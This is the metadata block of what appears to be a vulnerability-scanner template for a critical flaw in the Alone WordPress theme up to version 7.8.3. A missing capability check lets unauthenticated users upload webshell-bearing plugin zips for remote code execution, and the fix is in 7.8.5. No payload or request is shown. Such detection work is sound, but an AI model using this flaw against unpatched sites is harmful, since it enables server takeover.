  name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
  author: Nxploited,DhiyaneshDK
  severity: critical
  description: |
    The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
  impact: |
    This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
  remediation: Fixed in 7.8.5.
